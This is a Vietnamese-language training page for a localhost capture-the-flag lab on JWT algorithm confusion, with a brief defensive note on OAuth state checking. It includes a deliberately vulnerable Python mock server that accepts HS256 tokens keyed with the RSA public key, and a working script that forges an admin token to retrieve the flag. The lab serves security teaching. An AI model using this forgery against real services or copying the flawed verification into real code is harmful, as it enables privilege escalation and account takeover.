Mini-challenge: Khai thác nhầm lẫn thuật toán và OAuth CSRF
Thử thách độc lập: Tấn công Algorithm Confusion trên JWT để nâng quyền quản trị và khai thác lỗ hổng OAuth CSRF chiếm đoạt phiên.
TL;DR: Thử thách này đặt bạn vào vai trò một kỹ sư an toàn thông tin đang kiểm thử một cổng dịch vụ định danh tập trung (SSO Portal). Hệ thống sử dụng token JWT để xác thực các cuộc gọi API nội bộ, đồng thời hỗ trợ luồng OAuth 2.0 để liên kết tài khoản mạng xã hội. Nhiệm vụ của bạn là giải mã cấu trúc Public Key được công bố của hệ thống, giả mạo token quản trị thông qua kỹ thuật Algorithm Confusion (RS256 sang HS256), và sau đó khai thác điểm yếu thiếu kiểm tra tham số state để cấy tài khoản độc hại nhằm lấy cờ bí mật.
1. Tình huống thử thách & Môi trường thực nghiệm
Một cổng thông tin nội bộ tại http://127.0.0.1:9091 cung cấp hai giao diện chính:
GET /api/v1/public-key: Trả về Public Key RSA dùng để xác thực hệ thống.GET /api/v1/vault: Endpoint kiểm tra số dư và thông tin bí mật, yêu cầu JWT token qua headerAuthorization: Bearer <token>.POST /api/v1/oauth/link: Endpoint liên kết tài khoản bên thứ ba thiếu kiểm tra tham sốstate.
[!TIP] Khởi chạy Local Mock Server: Bạn có thể tự dựng toàn bộ bài lab này trên máy tính cá nhân bằng script Python dưới đây:
Python# Lưu thành mock_auth_lab.py và chạy: python3 mock_auth_lab.py import http.server, urllib.parse, json, hmac, hashlib, base64, jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization # Generate RSA keypair for mock server private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) public_pem = private_key.public_key().public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ).decode() class AuthLabHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if self.path == "/api/v1/public-key": self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(public_pem.encode()) return if self.path == "/api/v1/vault": auth_header = self.headers.get("Authorization", "") if not auth_header.startswith("Bearer "): self.send_response(401); self.end_headers(); return token = auth_header.split(" ")[1] try: # Mô phỏng lỗ hổng Key Confusion (như CVE-2022-29217 / CVE-2016-5431 / CVE-2015-9235): # Backend tin tưởng header alg từ client; nếu client gửi HS256, backend dùng bytes của public_pem làm HMAC secret parts = token.split(".") hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "==").decode()) if hdr.get("alg") == "HS256": msg = f"{parts[0]}.{parts[1]}".encode() expected_sig = base64.urlsafe_b64encode(hmac.new(public_pem.encode(), msg, hashlib.sha256).digest()).decode().rstrip("=") if not hmac.compare_digest(parts[2], expected_sig): raise ValueError("Invalid HMAC signature") payload = json.loads(base64.urlsafe_b64decode(parts[1] + "==").decode()) else: payload = jwt.decode(token, public_pem, algorithms=["RS256"]) if payload.get("role") == "admin": res = {"status": "success", "flag": "FLAG{JWT_ALGORITHM_CONFUSION_PWNED_2026}"} self.send_response(200) else: res = {"status": "denied", "message": "Requires admin role"} self.send_response(403) except Exception as e: res = {"status": "error", "error": str(e)} self.send_response(400) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(json.dumps(res).encode()) return self.send_response(404); self.end_headers() http.server.HTTPServer(("127.0.0.1", 9091), AuthLabHandler).serve_forever()
2. Các bước khai thác Algorithm Confusion để lấy Cờ
Mục tiêu của bạn là giả mạo một JWT token có chứa {"role": "admin"} mà không có Private Key của server.
Bước 1: Lấy Public Key của máy chủ
Gửi request tải Public Key:
curl http://127.0.0.1:9091/api/v1/public-key -o server_pub.pem
Kiểm tra nội dung file server_pub.pem:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----
Bước 2: Viết Script tạo Token giả mạo bằng thuật toán HS256
Sử dụng chuỗi byte của server_pub.pem làm secret key cho thuật toán HS256 theo chuẩn RFC 7515 (dùng thư viện hmac và hashlib chuẩn để tính chữ ký):
import hmac
import hashlib
import base64
import json
import requests
# 1. Doc Public Key PEM nguyen ban lam HMAC secret
with open("server_pub.pem", "r") as f:
public_pem = f.read().encode()
# 2. Xay dung header va payload leo quyen
header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "attacker_user", "role": "admin"}
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
seg1 = b64url(json.dumps(header).encode())
seg2 = b64url(json.dumps(payload).encode())
signing_input = f"{seg1}.{seg2}".encode()
# 3. Ky token bang HMAC-SHA256 voi key la bytes cua Public Key
sig = b64url(hmac.new(public_pem, signing_input, hashlib.sha256).digest())
forged_token = f"{seg1}.{seg2}.{sig}"
print(f"[+] Token tao thanh cong: {forged_token}")
# 4. Gui token toi endpoint nhay cam
headers = {"Authorization": f"Bearer {forged_token}"}
r = requests.get("http://127.0.0.1:9091/api/v1/vault", headers=headers)
print(f"[+] Ket qua: {r.json()}")
Bước 3: Thu hoạch kết quả
Khi chạy script, máy chủ backend tiếp nhận token, đọc alg: HS256 và dùng biến public_pem để kiểm tra chữ ký HMAC. Vì chữ ký khớp hoàn toàn với chuỗi HMAC được sinh ra từ Public Key, server trả về cờ bí mật:
{
"status": "success",
"flag": "FLAG{JWT_ALGORITHM_CONFUSION_PWNED_2026}"
}
3. Tổng kết kiến trúc phòng vệ
Sau khi thực hành, hãy ghi nhớ hai nguyên tắc then chốt khi thiết kế tầng xác thực:
- Khóa cứng thuật toán: Tuyệt đối không để header của JWT quyết định loại thuật toán kiểm tra. Luôn truyền
algorithms=['RS256']cố định. - Kiểm tra State: Mọi luồng OAuth callback đều bắt buộc phải đối chiếu tham số
statevới cookie phiên của người dùng để ngăn chặn liên kết tài khoản độc hại.
Bài tiếp theo: Tổng kết module Xác thực & Danh tính Hiện đại
Bài này có giúp bạn hiểu bản chất không?
Bài này đáng gửi cho bạn học cùng?
Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.
Khai thác lỗi CSRF và tham số State trong OAuth2
Bài tiếpTổng kết module Xác thực & Danh tính Hiện đại
Thảo luận & góp ý
Hỏi đáp về bài này